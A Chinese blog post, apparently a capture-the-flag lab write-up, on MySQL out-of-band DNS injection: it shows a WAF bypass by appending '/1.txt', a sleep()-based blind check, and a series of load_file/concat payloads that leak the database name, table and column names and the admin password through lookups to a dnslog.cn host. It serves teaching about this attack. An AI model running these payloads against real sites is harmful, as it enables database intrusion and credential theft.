数据库外带——DNS注入

Mysql注入——DNS注入

靶场地址
原理:利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

1.,我们看到靶场,首先尝试最简单的get传参,注入
在这里插入图片描述它是直接将id传参拼接进去,然后用mysqli_connect()函数进行针对数据库的查询,我们顺理成章再后面输入内容?id=1进行测试
在这里插入图片描述页面正常,继续输入 and 1=1
在这里插入图片描述但是却遭到网站防火墙的阻拦,于是,我们尝试绕过防火墙,在后面输入url栏,网址后加一个/1.txt,因为网站防火墙,会认为1.txt是一个无害文件,白名单,认为可信任,并且再查不到1.txt的时候,会往上一级进行审核
这是比较老的waf
在这里插入图片描述成功绕过,页面返回正常,继续输入 and 1=2,判断页面回显
在这里插入图片描述页面没有任何回显,我们继续输入sleep(5)
在这里插入图片描述页面有明显延迟,于是判断可以认为这个网页存在延迟注入
在这里插入图片描述按照延时注入的方法,可以做出来,但是会花费大量的时间,于是,我们尝试利用dns注入的方法,在url栏进行dns报错的方法来查询数据库名
在url栏输入

?id=1 and (select load_file(concat('//',(select database()),'.57t2co.dnslog.cn/abc')))

在这里插入图片描述

得到数据库名
继续查询表名,在url输入代码

?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.57t2co.dnslog.cn/abc')))

在这里插入图片描述得到表名利用limit查询出所有表名

?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.57t2co.dnslog.cn/abc')))

?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'.57t2co.dnslog.cn/abc')))

在这里插入图片描述发现只有两个表名
继判断flag可能存在在admin表里,查询admin表的数据
输入代码

?id=1 and (select load_file(concat('\\\\',(select column_name from information_schema.columns where TABLE_NAME='admin' limit 0,1),'.57t2co.dnslog.cn/abc')))

在这里插入图片描述继续利用limit查询字段名

?id=1 and (select load_file(concat('\\\\',(select column_name from information_schema.columns where TABLE_NAME='admin' limit 1,1),'.57t2co.dnslog.cn/abc')))

?id=1 and (select load_file(concat('\\\\',(select column_name from information_schema.columns where TABLE_NAME='admin' limit 3,1),'.57t2co.dnslog.cn/abc')))

ID,username,password,只有三个数据,判断可能存在在password字段里,我们查询一下password的数据

?id=1 and (select load_file(concat('\\\\',(select password from admin limit 0,1),'.57t2co.dnslog.cn/abc')))

在这里插入图片描述1flag1good1

猜你喜欢

转载自blog.csdn.net/weixin_43264067/article/details/106120986